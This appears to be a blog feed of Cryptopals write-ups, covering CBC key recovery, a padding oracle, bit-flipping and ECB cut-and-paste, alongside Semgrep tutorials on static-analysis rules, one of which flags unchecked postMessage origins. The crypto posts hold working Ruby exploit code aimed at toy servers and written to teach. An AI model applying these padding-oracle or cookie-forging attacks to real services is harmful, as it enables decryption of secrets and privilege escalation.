AES_Decrypt(third_block_ciphertext, KEY) XOR second_block_ciphertext

Given that our first ciphertext block is the same as our third ciphertext block (step 4 of attack) we know that the following operations will produce the same result:

AES_Decrypt(first_block_ciphertext, KEY)
AES_Decrypt(third_block_ciphertext, KEY)

When we XOR these two operations together the result will be zero. This leaves us with:

=> 0 XOR KEY XOR second_block_ciphertext
=> KEY XOR second_block_ciphertext

Remember that we made our second ciphertext block contain only zeroes (step 3 of attack), so this becomes:

=> KEY XOR 0
=> KEY

And that’s the reason we can extract the KEY using this algorithm.

Implementation based on Cryptopal’s requirements

class InvalidFormat < StandardError; end

KEY = 16.times.map { rand(0..255) }

def encode_cookie(input)
  prefix = 'comment1=cooking%20MCs;userdata='
  suffix = ';comment2=%20like%20a%20pound%20of%20bacon'
  plaintext = prefix + input.tr(';=', '') + suffix
  raise InvalidFormat.new(plaintext) unless plaintext.ascii_only?
  aes_cbc_encrypt(pkcs7_pad(plaintext.bytes, 16), KEY, KEY)
end

def decode_cookie(ciphertext)
  plaintext = pkcs7_unpad(
    aes_cbc_decrypt(ciphertext, KEY, KEY)
  ).pack('C*')

  raise InvalidFormat.new(plaintext) unless plaintext.ascii_only?
  config = plaintext.split(';').map { |kv| kv.split('=') }.to_h
  puts "Decoded data: #{config}"
  puts "Admin detected: #{config['admin'] == 'true'}"
end

def exploit_server(input)
  cookie = encode_cookie(input)
  # Step 3 of the attack
  16.times { |i| cookie[16 + i] = 0 }
  # Step 4 of the attack
  16.times { |i| cookie[32 + i] = cookie[i] }

  begin
    decode_cookie(cookie)
  rescue InvalidFormat => e
    puts "Invalid message!"
    e.message
  end
end

input = 'A' * (16 * 3)
# Step 5 of the attack
result = exploit_server(input)
blocks = result.bytes.each_slice(16).to_a

puts 'Original key:'
puts KEY.inspect

puts 'Leaked Key:'
# Step 6 of the attack
puts xor_bytes(blocks[0], blocks[2]).inspect

In order to keep the code short and to the point I’ve opted to hide methods that we have seem in previous posts, they are:

pkcs7_pad
pkcs7_unpad
aes_cbc_encrypt
aes_cbc_decrypt

See CBC Padding Oracle for more information about each method.

And we have reached the end of our exercise! This should be our last post on CBC, on future posts we will start investigating a new block mode called CTR. Please reach out to me on Twitter or by email if you have any questions or suggestions on how to improve this or future posts.

Ensuring postMessage Origin Validation with Semgrep

Wed, 11 Aug 2021 08:30:00 GMT

If you are new to Semgrep I recommend checking out my previous post where we cover the basics and create a new rule step by step.

In this post we will tackle the challenge of flagging scenarios in our codebase where developers forgot to check the origin of a message consumed through postMessage. This rule will be used to mitigate one of the security concerns mentioned within the MDN documentation, the origin validation.

Any window (including, for example, http://evil.example.com) can send a message to any other window, and you have no guarantees that an unknown sender will not send malicious messages.

Here’s an example of this vulnerability being exploited.

I’ve also submitted a Pull Request to the semgrep-rules repository and by the end of this post we will understand every aspect of it. :)

With the context in place, let’s start!

Patterns to flag

Before we start writing our new rule it helps to document the patterns we want to match. Besides having a clear spec to work with it also makes it easier to reason about which operators we will need.

// Inline function without origin check
window.addEventListener("message", function(evt){
  console.log('No origin check!');
});

// The following line creates a function that will
// be used as a handler by our addEventListener. This
// handler should also have an origin check.
function receiveMessage(evt) {
  console.log('No origin check!');
}

window.addEventListener("message", receiveMessage, false);

// Inline arrow function without origin check
window.addEventListener('message', (evt) => {
  console.log('No origin check!');
});

// The following line creates a function using the
// arrow function pattern which will be used as a
// handler by our addEventListener. This
// handler should also have an origin check.
const arrowHandler = (evt) => {
    console.log('No origin check!');
};

window.addEventListener("message", arrowHandler, false);

Knowing that we need to match inline or external declarations gives us an idea that we will need to rely on the patterns-either operator.

We might be tempted to write four different patterns for this scenario, but since Semgrep is semantic we only need to write two! This means that patterns matching and old function declaration will also match code using arrow functions.

It’s worth repeating this:

Since Semgrep is semantic, patterns matching and old function declaration will also match code using arrow functions

Now, which patterns do we consider safe for origin checking?

Safe patterns

If the function specified above contains any of the following patterns we should not flag them:

if (evt.origin == "http://example.com") { ... }

if (evt.origin === "http://example.com") { ... }

if (evt.origin != "http://example.com") { ... }

if (evt.origin !== "http://example.com") { ... }

if (someRegex.test(evt.origin)) { ... }

We have our spec, we know what to flag and more importantly, what not to. Time to start working on our rule!

Writing our rule

Let’s take care of the inline functions first since they don’t need external context:

Inline functions

patterns:
- pattern: |
  window.addEventListener('message', $FUNC, ...)

$FUNC will capture the inline function into a metavariable. Now we can use the handy metavariable-pattern to exclude our safe patterns.

patterns:
- pattern: |
    window.addEventListener('message', $FUNC, ...)
- metavariable-pattern:
    metavariable: $FUNC
    patterns:
      - pattern: |
          function($OBJ) { ... }
      - pattern-not: |
          function($OBJ){ ... if ($OBJ.origin == $X) ... }
      - pattern-not: |
          function($OBJ){ ... if ($OBJ.origin === $X) ... }
      - pattern-not: |
          function($OBJ){ ... if ($OBJ.origin != $X) ... }
      - pattern-not: |
          function($OBJ){ ... if ($OBJ.origin !== $X) ... }
      - pattern-not: |
          function($OBJ){ ... if ($REGEX.test($OBJ.origin)) ... }

We want to match function declarations (pattern) that do not contain any of our safe patterns (pattern-not). Note the ellipsis surrounding our if statements, they are there to guarantee that we are matching any line within the function, not just the first line.

A few other things are worth noting here:

Our metavariable is matching on the context captured by $FUNC
We need the the function($OBJ) { ... } check to exclude external function declarations (our second scenario)
The $OBJ metavariable is matching the function parameter and making sure the .origin is being called on it

I like how explicit the rule currently is, but we will see an alternative to simplify our pattern-not by the end of this post. Bear with me for now if this is bothering you. :)

Time to match the external functions!

External functions

pattern-either:
  - pattern: |
      function $FNAME(...) { $CTX }
      ...
      window.addEventListener('message', $FNAME,...)
  - pattern: |
      $FNAME = (...) => { $CTX }
      ...
      window.addEventListener('message', $FNAME,...)

This is the only situation where I couldn’t use the same pattern to match arrow functions and normal function declarations. Let me know if I could simplify this pattern.

Here we are making sure that we can match any of the function declaration types with pattern-either and capturing the function names during declaration with $FNAME. Note that we use the same $FNAME metavariable to ensure that the same name is being used within addEventListener. The ellipsis (...) are there to match anything in-between those two lines.

We are also capturing the context of the function body itself with $CTX and we will use it to exclude our safe patterns. Let’s get to it:

pattern-either:
  - pattern: |
      function $FNAME(...) { $CTX }
      ...
      window.addEventListener('message', $FNAME,...)
  - pattern: |
      $FNAME = (...) => { $CTX }
      ...
      window.addEventListener('message', $FNAME,...)
  - metavariable-pattern:
    metavariable: $CTX
    patterns:
      - pattern-not: |
          ... if ($OBJ.origin == $X) ...
      - pattern-not: |
          ... if ($OBJ.origin === $X) ...
      - pattern-not: |
          ... if ($OBJ.origin != $X) ...
      - pattern-not: |
          ... if ($OBJ.origin !== $X) ...
      - pattern-not: |
          ... if ($REGEX.test($OBJ.origin)) ...

Nothing new here, we are ensuring that we ignore matches if they contain any of the if patterns declared by our pattern-not operators. These patterns are being checked on the context of $CTX which is our function body. We are also making sure to match these patterns in any line by surrounding our patterns with ellipsis.

With those two cases being taken care of separately we can move to our final rule declaration.

Final pattern

In order to make this work we need to glue both scenario using pattern-either. Let’s check our final rule in the playground:

And with this new rule we can match:

Inline function declarations in any format
External function declarations in any format
Create a list with patterns we consider to be safe for origin checking

This rule achieves exactly what we set ourselves to do and we could just stop here, but as I’ve hinted earlier we can simplify things. Let’s investigate!

Alternative

Instead of explicitly checking for each equality operator in our pattern-not we could have used the deep-expression-operator which basically lets you say:
“I don’t know what exactly happens in here, but I want to enforce that this variable is used somehow”.

Let’s rewrite our rule above using this operator and see how it simplifies our metavariable-pattern declaration:

Pretty cool, right?!

The downside of this approach is that any reference to $OBJ.origin in a if statement will match, even if it doesn’t perform the sort of validation that makes it safe. In this particular case I wanted to be strict and enforce the presence of certain equality operators, but that changes on a case-by-case basis.

As a rule of thumb if you just want to check that something is being called/referenced use the deep-expression-operator, otherwise stick with explicit pattern matching.

And with this we have reached the end of this blog post. Thanks for reading and let me know if you have any tips or questions by reaching out to me on Twitter or by email and I will be happy to chat about it!

A Practical Introduction to Semgrep

Sat, 31 Jul 2021 21:00:00 GMT

Lately I’ve been working on automating security rules and enforcing best practices in our codebases using static analysis tools. Besides Brakeman and CodeQL I have also been using Semgrep, which is the topic of this post.

Semgrep is a open-source static analysis tool that allows us to find patterns in our code. In this post we will explore how its rule system works through a practical example and some tips on how to get started writing your own rules.

Before we start, it’s worth mentioning that Semgrep has a great online editor that allows us to visually test how rules match our code. It is a great tool to rapidly iterate on and share your work with others. Another resource that helped me get started is their interactive learn section. It relies heavily on the editor and does a great job ramping us up on how its rule system works.

With that out of the way let’s explore an example in Ruby, which is one of the languages supported by Semgrep.

Example

The code we are going to work on is the following:

provider :acme,
    api_key,
    per_user: true

Our goal is to flag code that falls into one of the following criteria:

The provider is :acme and per_user is false
The provider is :acme and per_user is missing

With this criteria in mind let’s create our new rule. Rules in Semgrep are expressed through YAML and it helps to know the standard beforehand. That being said the standard is readable enough that you should be able to follow this tutorial without being familiar with it.

Let’s encode the first part of our criteria:

rules:
- id: alert_per_user
  pattern: 'provider(:acme, ..., per_user: false, ...)'
  message: per_user is false or is missing for acme provider
  languages: [ruby]
  severity: WARNING

There are a few things we can infer right away from this rule and certain things that won’t make sense until we start diving into the details of Semgrep, so let’s start with the basic ones.

Every rule has an unique id and a descriptive message associated with it and also knows the semantics of one or more languages that it is trying to analyze, which in our case is Ruby. The semantics part is really powerful - to understand why let’s see how we could have coded our example above:

# No parenthesis and new hash format
provider :acme,
    api_key,
    per_user: true

# No parenthesis and old hash format
provider :acme,
    api_key,
    :per_user => true

# Parenthesis and new hash format
provider(:acme,
    api_key,
    per_user: true
)

# Parenthesis and old hash format
provider(:acme,
    api_key,
    :per_user => true
)

These examples are all the same from a Ruby standpoint but writing a regular expression to match it would be very cumbersome. On the other hand since Semgrep understands the semantics of the language we can succintly match all of these cases with a single and expressive pattern.

Pattern breakdown

Rules are expressed by patterns, and currently our only pattern is:

pattern: 'provider(:acme, ..., per_user: false, ...)'

Semgrep knows that provider is a method and that’s why it can match any code with our without parenthesis. It also knows that :acme is a hardcoded symbol. If we were searching for any symbol we could have used a metavariable like $NAME.

More importantly, it knows that per_user is part of a Hash so it can also match different Hash syntaxes.

What are these ellipses (...) though?

These are used to tell Semgrep that we don’t care which position our per_user is in, we just care that it exists. These ellipses match anything that comes before and after our per_user declaration.

Adding our second requirement

Now that we have met our first requirement, how can we fulfill the second one?

The provider is :acme and per_user is missing

What we want is:

Match pattern A OR pattern B

The way we express the OR operator is by using what Semgrep calls pattern-either, which is pretty descriptive. Let’s add our second requirement to our YAML file:

- id: alert_per_user
  pattern-either: 
    - pattern: 'provider(:acme, ..., per_user: false, ...)'
    - patterns:
      - pattern: 'provider(:acme, ...)'
      - pattern-not: 'provider(:acme, ..., per_user: $X, ...)'
  languages: [ruby]
  severity: WARNING

What we are saying with this rule is:

Find me a provider method call that includes :acme
AND
has a key per_user with value false
OR
a provider method call that includes :acme
AND
doesn’t have the per_user key inside it.

Note the use of the ellipses (...) in this case, it means that we don’t care about what’s inside the provider method call after the :acme symbol is found, so Semgrep will match anything till the end of the method.

And with this succint rule we were able to match our entire criteria without having to worry about method call conventions, line breaks or spaces or even Hash formats. How cool is that?

Going one step further

Let’s pretend that our method call occurs in two different contexts, but that we are interested in only matching one of them.

# We want to match in this context
middleware.use(OmniAuth::Builder) do
  # Our pattern
end


# We don't care about this context
middleware.use(Dummy::Builder) do
  # Our pattern
end

In order to solve this we can rely on a new operator called pattern-inside that will act as a filter for our patterns. By using it we are saying asking Semgrep to only consider patterns that reside within our pattern-inside expression.

Let’s see how we would encode this in our rule:

- id: alert_per_user
  patterns:
    - pattern-inside: |
        middleware.use(OmniAuth::Builder) do
            ...
        end
    - pattern-either:
        - pattern: 'provider(:acme, ..., per_user: false, ...)'
        - patterns:
          - pattern: 'provider(:acme, ...)'
          - pattern-not: 'provider(:acme, ..., per_user: $X, ...)'

We are again making use of our ellipses within pattern-inside to say that Semgrep should match anything inside the middleware block. The pipe (|) symbol at the end of our pattern-inside line signifies that any indented text that follows should be interpreted as a multi-line value according to the YAML spec.

And with this new addition our rule is now context aware which is great in scenarios where code is environment dependent. We can now consider our exercise complete!

Conclusion

Semgrep is powerful and simple enough to make it a good choice when automating CI rules. There are situations where I still fallback to Brakeman though and that usually happens when I’m required to write custom code to enforce a check since I can rely on the full power of Ruby. For example, writing a custom check that detects spelling mistakes in arguments within a method call like Rails.cache.fetch, such as detecting an incorrect use of expire_in or expirs_in instead of the expected expires_in is currently much easier using Brakeman.

In this post we have just scratched the surface of Semgrep, refer to the rule syntax guide for the full schema. Operators like pattern-inside and metavariables make the schema extremely flexible.

Let me know if you have any tips or questions by reaching out to me on Twitter or by email and I will be happy to chat about it!

Update 2021-08-05

@clintgibler was kind enough to provide an example on how they would approach the problem mentioned in the conclusion of this post using Semgrep. I will share the example here, but there are more details in the thread that you can follow.

When we know each argument the method expects:

When we do not know every method argument:

We could approach this problem doing a string edit distance comparison or something similar with Python using the #patern-where-python operator.

CBC Padding Oracle

Sun, 25 Jul 2021 12:43:00 GMT

In this post we will investigate the byte-at-a-time ECB decryption exercise from Cryptopals. It’s helpful to read the problem statement before reading this blog post and I highly recommend attempting the previous exercises yourself as they do a great job ramping up your knowledge on the subject.We also have a previous post explaining how CBC works.

This attack relies on a padding oracle, which is something that is able to tell us whether the ciphertext we provide for decryption has a valid padding or not after decryption. In our exercise this will be in the form of a method that returns true or false based on a valid padding or not. Let’s see this in Ruby:

def padding_oracle(ciphertext, key, iv)
  plaintext = aes_cbc_decrypt(ciphertext, key, iv)
  valid_padding?(plaintext)
end

# Based on https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS#5_and_PKCS#7
def valid_padding?(plaintext)
  padding_size = plaintext.last
  return false unless padding_size > 0 && padding_size < 256

  padding = plaintext.slice(
    -padding_size,
    padding_size
  )

  padding.all? { |b| b == padding_size }
end

To make things more relatable we can think of this padding_oracle as our server validating whether a cookie passed to it is valid or not.

Recap on CBC decryption

In order to obtain the plaintext block from a ciphertext block the algorithm first decrypts the ciphertext block using ECB with the encryption key (labeled “block cipher decryption” in our image), followed by a XOR with the previous ciphertext block. For the first block we use the inialization vector since we don’t have a previous ciphertext block.

See our previous post for a more in-depth explanation of how CBC works.

We have access to the previous ciphertext block or the initialization vector, but we do not have access to the ECB decryption. Luckily for us this attack allows us to derive the value of the AES decryption (labeled “block cipher decryption” in our image), which makes us able to compute the plaintext out of an encrypted block.

It’s worth reiterating, what this attack allows us to do is:

Derive the value of the AES decryption (labeled “block cipher decryption” in our image).

Exploitation

Even though we don’t control the AES decryption value, we control the value that will be XORed against it. Let’s define this operation:

AES_DEC(ciphertext_block) XOR user_controlled_value

Normally this “user controlled value” would be the previous ciphertext block or the initialization vector (IV), but nothing prevents us from sending whatever we want, right? :) The insight is that:

By making modifications to the previous ciphertext block (or IV for the first block), we can predictably modify the plaintext block.

What we want to achieve with this “user controlled value” is to generate on every iteration a plaintext that has a valid padding. Recall that we are using PKCS7 for this exercise, so a valid padding consists of the last n bytes of our plaintext all having the same value n. So the following endings for our plaintext are all considered valid:

01
02 02
03 03 03
...
16 16 16 .. 16 16

What we need to do is:

Create what we will call a Zeroing IV, which for now is an array containing zeros with the size of a block
- By the end of the algorithm the Zeroing IV will be an array that once XORed with AES_DEC(ciphertext_block) returns zero
Compute an IV that once XORed provides us with a plaintext that has a valid padding of 1
Get the last byte from that IV and XOR it with 1, storing the result in the last byte of our Zeroing IV

Once this is done we will:

Derive a new IV that sets thet final byte to 2 and try to compute the penultimate byte to 2 as well.
Get the penultimate byte from that IV and XOR it with 2 to generate the penultimate byte of the Zeroing IV

Keep doing this until we can find all 16 bytes of a block.

If you are used to the XOR operation you will realize right away that the only way for AES_DEC(ciphertext_block) XOR Zeroing IV to output zero is if they are equal! This means that we have just computed the value of AES_DEC(ciphertext_block), which was the only thing we didn’t know.

To output our plaintext message all we need to do now is perform the operation: Zeroing IV XOR Our original IV.

Visual example

Let’s see an example with the first two iterations of our attack to make things a bit more concrete.

Assume AES_DEC(ciphertext_block) has a value of:
[99, 111, 110, 103, 114, 97, 116, 117, 108, 97, 116, 105, 111, 110, 115, 33]

Our initial Zeroing IV is of course composed of all zeros:
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]

Iteration 1

We want to make the operation AES_DEC(ciphertext_block) XOR Zeroing IV return an array with the final byte set to 1 in order for our padding_oracle method to return true. To achieve that we first need to find a value that makes 33 XOR <something> = 1:

33 XOR 0 = 33 is a valid padding? NO
33 XOR 1 = 32 is a valid padding? NO
33 XOR 2 = 35 is a valid padding? NO
..
33 XOR 32 = 1 is a valid padding? YES

So right now our Zeroing IV is:
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32]

This means that AES_DEC(ciphertext_block) XOR Zeroing IV will output something like:
[99, 111, 110, 103, 114, 97, 116, 117, 108, 97, 116, 105, 111, 110, 115, 1]

This is indeed a block with a valid padding!

Time to XOR this last value with 1 so we can get our true zero value.
32 XOR 1 = 33

So right now our Zeroing IV is:
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 33]

Notice how 33 is the same value of our imaginary AES_DEC(ciphertext_block) last byte!

Iteration 2

Now we need to make the operation AES_DEC(ciphertext_block) XOR Zeroing IV return an array with the final and penultimate bytes set to 2 in order for our padding_oracle method to return true. In order to do that we need to:

Make 33 XOR <something> = 2
Make 115 XOR <something> = 2

Since we already know due to our first iteration that AES_DEC(ciphertext_block) last byte is 33 we can just compute 33 ^ 2 which is equal 35

Now we need to make 115 XOR something = 2, so let’s find the appropriate byte:

115 XOR 0 = 115 is a valid padding? NO
115 XOR 1 = 114 is a valid padding? NO
115 XOR 2 = 113 is a valid padding? NO
..
115 XOR 113 = 2 is a valid padding? YES

So right now our NEW Zeroing IV is:
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 113, 35]

This means that AES_DEC(ciphertext_block) XOR NEW Zeroing IV will output something like:
[99, 111, 110, 103, 114, 97, 116, 117, 108, 97, 116, 105, 111, 110, 2, 2]

Which is again a block with a valid padding!

Time to XOR this penultimate value with 2 so we can get our true zero value.
113 XOR 2 = 115

So right now our “final” Zeroing IV is:
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 115, 33]

Notice how 115 is the same value of our imaginary AES_DEC(ciphertext_block) penultimate byte!

The next iteration will make the last three bytes equal to 3 and we are going to find yet another byte, and so on and so forth until we decrypt an entire block, so eventually our Zeroing IV will become the same as our AES_DEC(ciphertext_block):

[99, 111, 110, 103, 114, 97, 116, 117, 108, 97, 116, 105, 111, 110, 115, 33]

Implementation

This is one of those algorithms that are harder to explain than to implement, so let’s attempt to do it.

require 'openssl'

KEY = 16.times.map { rand(0..255) }
IV = 16.times.map { rand(0..255) }
BLOCK_SIZE = 16
BYTE_RANGE =0..256

# Don't look! ;)
PLAINTEXT = [99, 111, 110, 103, 114, 97, 116, 117, 108, 97, 116, 105, 111, 110, 115, 33, 32, 119, 101, 32, 100, 105, 100, 32, 105, 116, 33]

# See our previous post on CBC Bitflipping Attacks to understand CBC better
def aes_cbc_encrypt(plaintext)
  cipher = OpenSSL::Cipher::AES.new(128, :CBC)
  cipher.encrypt
  cipher.key = KEY.pack('C*')
  cipher.iv = IV.pack('C*')
  cipher.padding = 0
  cipher.update(plaintext.pack('C*')) + cipher.final
end

def aes_cbc_decrypt(ciphertext, iv)
  cipher = OpenSSL::Cipher::AES.new(128, :CBC)
  cipher.decrypt
  cipher.key = KEY.pack('C*')
  cipher.iv = iv.pack('C*')
  cipher.padding = 0
  cipher.update(ciphertext.pack('C*')) + cipher.final
end

# See https://tools.ietf.org/html/rfc2315#section-10.3
def pkcs7_pad(bytes, block_size)
  raise 'Invalid block size' if block_size >= 256
  padding_len = block_size - (bytes.size % block_size)
  padding = Array.new(padding_len, padding_len)
  bytes + padding
end

#############################################################
# Our boilerplate is done, time to implement our algorithm! #
#############################################################

def encrypt_credentials
  padded_buffer = pkcs7_pad(PLAINTEXT, BLOCK_SIZE)
  ciphertext = aes_cbc_encrypt(padded_buffer).unpack('C*')

  [IV, ciphertext]
end

def padding_oracle(ciphertext, iv)
  plaintext = aes_cbc_decrypt(ciphertext, iv).unpack('C*')
  valid_padding?(plaintext)
end

# Based on https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS#5_and_PKCS#7
def valid_padding?(plaintext)
  padding_size = plaintext.last
  return false unless padding_size > 0 && padding_size <= BLOCK_SIZE

  padding = plaintext.slice(
    -padding_size,
    padding_size
  )

  padding.all? { |b| b == padding_size }
end

def decrypt_byte(block, zero_iv, known)
  iv = Array.new(BLOCK_SIZE, 0)
  padding_size = known + 1
  next_byte_pos = BLOCK_SIZE - known - 1

  (1..known).each do |index|
    iv[-index] = zero_iv[-index] ^ padding_size
  end

  BYTE_RANGE.each do |candidate|
    iv[next_byte_pos] = candidate
    return candidate if padding_oracle(block, iv)
  end

  raise 'Candidate not found'
end

def decrypt_block(block, previous_block)
  zero_iv = Array.new(BLOCK_SIZE, 0)

  BLOCK_SIZE.times.each do |known|
    byte = decrypt_byte(block, zero_iv, known)
    zero_iv[BLOCK_SIZE - known - 1] = byte ^ (known + 1)
  end

  zero_iv.zip(previous_block).map { |a, b| a ^ b }
end

def decrypt(ciphertext, iv)
  blocks_amount = ciphertext.size / BLOCK_SIZE
  previous_block = iv

  (0...blocks_amount).flat_map do |block_index|
    block = ciphertext.slice(
      block_index * BLOCK_SIZE,
      BLOCK_SIZE
    )

    decrypted_block = decrypt_block(block, previous_block)
    previous_block = block

    decrypted_block
  end
end

iv, ciphertext = encrypt_credentials
puts decrypt(ciphertext, iv).pack('C*')

If we run the program above we will receive our plaintext as the output, how cool is that?! This is probably one of the problems that I have the most fun with since it uses most of the knowledge we have built upon previous exercises.

If you made it this far, congratulations! We are almost done with CBC attacks (I promise!), and we will start investigating CTR mode. As always, if anything is confusing or could be improved please reach out to me on Twitter or by email and I will be happy to chat about it!

CBC bit-flipping attack

Sun, 18 Jul 2021 09:35:00 GMT

This post is based on the CBC bit-flipping attack exercise from Cryptopals. I highly recommend attempting the previous exercises yourself as they do a great job ramping up your knowledge on the subject.

Before we can start tackling this problem it’s worth revisiting how cipher block chaining (CBC) works as we will need to know the algorithm in order to perform the bit-flipping attack.

CBC Encryption

In a nutshell CBC encryption works in the following order:

Split the plaintext into blocks of 16 bytes (this number can change, but the next steps are the same)
For each plaintext block:
- XOR the block with its previous ciphertext block
- Encrypt the result with AES to produce the ciphertext. This ciphertext will be XORed with the next plaintext block.

Since we always use the previous ciphertext to generate a block, how do we generate the first block?

For the first block we use something called an Initialization Vector (IV), which is nothing more than a random array of bytes that has the same length as our block.

Details

For CBC to work the plaintext must be a multiple of the block size, so we usually use a padding algorithm like PKCS7 to pad our plaintext.

Let’s see the visual representation of the algorithm:

CBC Decryption

The decryption process consists of us doing the inverse of what we did for the encryption process, so:

Split the full ciphertext into blocks of 16 bytes
For each ciphertext block:
- Decrypt the block with AES
- XOR the decrypted block with the previous ciphertext block.

In order to decrypt our first block we need to rely yet again on our initialization vector (IV).

Let’s see the visual representation of the algorithm:

CBC Ruby Implementation

def xor_bytes(bytes1, bytes2)
  if bytes1.size != bytes2.size
    raise 'Array of bytes should have same length'
  end

  bytes1.zip(bytes2).map { |a, b| a ^ b }
end

def aes_cbc_encrypt(plaintext, key, iv)
  blocks = plaintext.each_slice(key.size)
  previous_ciphertext_block = iv

  blocks.flat_map do |block|
    previous_ciphertext_block = aes_ecb_encrypt(
      xor_bytes(previous_ciphertext_block, block),
      key
    )

    previous_ciphertext_block
  end
end

  def aes_cbc_decrypt(ciphertext, key, iv)
  blocks = ciphertext.each_slice(key.size)
  previous_ciphertext = iv

  blocks.flat_map do |block|
    decrypted = xor_bytes(
      aes_ecb_decrypt(block, key),
      previous_ciphertext
    )

    previous_ciphertext = block
    decrypted
  end
end

See ECB decryption post for the implementation of the aes_ecb_encrypt and aes_ecb_decrypt_methods methods.

Bitflipping Attack

Now that we understand how CBC works we can talk about this particular attack which relies on the fact that in CBC mode, a 1-bit error in a ciphertext block:

Completely scrambles the block the error occurs in
Produces the identical 1-bit error in the next ciphertext block.

The first point is the easier one to reason about. Since we have encrypted our block with ECB, messing up with the ciphertext bits will in fact change the contents of our plaintext once it is decrypted by ECB in a random manner.

The second point requires more attention though and for it to make sense I feel it is helpful to reach out for an example.

Our goal with the following exercise is to transform our input

From: name=cbc attack;admin<true:id=11
To: name=cbc attack;admin=true;id=11

A few important things to note:

Our plaintext is already block aligned since the block size for this exercise is 16 bytes and our plaintext has 32 bytes.

First block: name=cbc attack;
Second block: admin<true:id=11

Transforming admin<true:id=11 into admin=true;id=11 will require us to transform:

< (ASCII 60) into = (ASCII 61)
: (ASCII 58) into ; (ASCII 59)

Let’s lay the ground for our problem in Ruby:

BLOCK_SIZE = 16
KEY = BLOCK_SIZE.times.map { rand(0..255) }
IV = BLOCK_SIZE.times.map { rand(0..255) }
PLAINTEXT = 'name=cbc attack;admin<true:id=11'.bytes

# Our encryption method defined earlier in this post
ciphertext = aes_cbc_encrypt(PLAINTEXT, KEY, IV)

ciphertext.each_slice(BLOCK_SIZE) do |block|
  puts block.inspect
end

This program outputs the following:

First block:
[135, 247, 220, 139, 108, 224, 161, 24, 21, 43, 213, 93, 49, 101, 91, 55]

Second block:
[161, 167, 98, 71, 30, 176, 244, 73, 72, 228, 148, 176, 198, 21, 39, 68]

Here’s what we want to prove again:

A 1-bit error in a ciphertext block:

Completely scrambles the block the error occurs in

Produces the identical 1-bit error in the next ciphertext block.

Let’s recap what we need to do in order to decrypt blocks using CBC:

Decrypt the current ciphertext block with AES-ECB

XOR that decrypted_value with the previous ciphertext block

With that in mind let’s reverse engineer what we need to do to achieve our goal:

First we have to figure out the value of the ECB decryption for the bytes we are interested in:

ecb_decryption(176) XOR 224 = 60
ecb_decryption(148) XOR 213 = 58

Let’s dive into what these numbers represent.

What are these numbers?

176 is the value of the 6th byte (<) in our second block and 224 is the 6th byte of our first block, while 60 represents the < character in ASCII.
148 is the value of the 11th byte (:) in our second block and 213 is the 11th byte of our first block, while 58 represents the : character in ASCII.

Let’s compute our XOR equation for our first point:

=> ecb_decryption(176) XOR 224 = 60
=> ecb_decryption(176) = 60 XOR 224
=> ecb_decryption(176) = 220

Now we need to convert our < into an =, which is represented as 61 in ASCII:
220 XOR 61 = ?
225

Going to our second point:

=> ecb_decryption(148) XOR 213 = 58
=> ecb_decryption(148) = 58 XOR 213
=> ecb_decryption(148) = 239

Now we need to convert our : into an ;, which is represented as 59 in ASCII:
239 XOR 59 = ?
212

So the changes in our first block needs to be:

6th byte goes from 224 to 225
11th byte goes from 213 to 212

And if we look closely that’s exactly a 1-bit XOR!

=> 224 XOR 1 = 225
=> 213 XOR 1 = 212

We are ready for our full code:

BLOCK_SIZE = 16
KEY = BLOCK_SIZE.times.map { rand(0..255) }
IV = BLOCK_SIZE.times.map { rand(0..255) }
PLAINTEXT = 'name=cbc attack;admin<true:id=11'.bytes

ciphertext = aes_cbc_encrypt(PLAINTEXT, KEY, IV)
ciphertext[5] ^= 1  # 6th byte of our first block
ciphertext[10] ^= 1 # 11th byte of our first block

puts aes_cbc_decrypt(ciphertext, KEY, IV).pack('C*')

And the output of this is: �;5��H��G�\Ladmin=true;id=11

Which is exactly what we expected. The first block became scrambled while the second one carried the changes we were looking for!

And we have reached the end of our exercise! Congratulations, take a moment to be proud of what you have achieved and I hope you are looking forward to the next posts as much as I am. :)

ECB Cut and Paste Attack

Sun, 11 Jul 2021 21:15:00 GMT

In this post we will investigate the ECB cut and paste attack exercise from Cryptopals. I highly recommend attempting the previous exercises yourself as they do a great job ramping up your knowledge on the subject.

Let’s remember a key characteristic of ECB, which is:

Encrypting the same plaintext under the same key will always yield the same ciphertext

This characteristic will be the key to solving our exercise.

Challenge

The goal of this exercise is to send to our server an input that once decrypted elevates our privileges to role=admin.

To make this exercise more relatable we can think of a web server performing an operation like:

Read the user’s email
Generates an output like: email=foo@bar.com&uid=10&role=user
The server encrypts the value from the previous step
The server surfaces the encrypted value as a cookie
Once the user comes back to the site the server will read this cookie’s value and identify our user

Let’s see the code:

# The key used by the web server to encrypt and decrypt values
KEY = 16.times.map { rand(0..255) }

# Our helper method to encode a hash as a query string
# Outputs something like: `email=foo@bar.com&uid=10&role=user`
def encode_query_string(hash)
  hash.map { |k, v| "#{k}=#{v}" }.join('&')
end

# Our helper method to transform a query string into a Hash
def decode_query_string(input)
  input.split('&').map { |kv| kv.split('=') }.to_h
end

# Our helper method to pad our input with PKCS7 and encrypt
# it with ECB.
#
# See the post "Discovering ECB block size" for more details
# on PKCS7.
def encrypt_profile(input)
  aes_ecb_encrypt(pkcs7_pad(input, 16), KEY)
end

# Our helper method to decrypt a string with ECB, remove
# its PKCS7 padding and calling the query string decoder.
def decrypt_profile(input)
  decode_query_string(
    pkcs7_unpad(aes_ecb_decrypt(input, KEY)).pack('C*')
  )
end

# The method that:
# 1. Receives the user's email
# 2. Strips dangerous characters like "&" and "="
# 3. Generates a hash representing our session
# 3. Calls our encode_query_string method with the session
def profile_for(email)
  encode_query_string({
    'email' => email.tr('&=', ''),
    'uid'  => 10,
    'role'  => 'user'
  })
end

Let’s see the code in action:

input = "bernardo.amc@gmail.com"
ciphertext = encrypt_profile(profile_for(input).bytes)
puts ciphertext.inspect
# => [101, 60, 198, 183, 84, 111, 86, 117, 34, 98, 147, 118, 111, 130, 197, 153, 251, 158, 167, 73, 230, 124, 163, 111, 170, 87, 166, 18, 76, 188, 240, 247, 65, 25, 192, 127, 154, 7, 138, 219, 54, 209, 69, 244, 112, 148, 35, 17]

profile = decrypt_profile(ciphertext)
puts profile.inspect
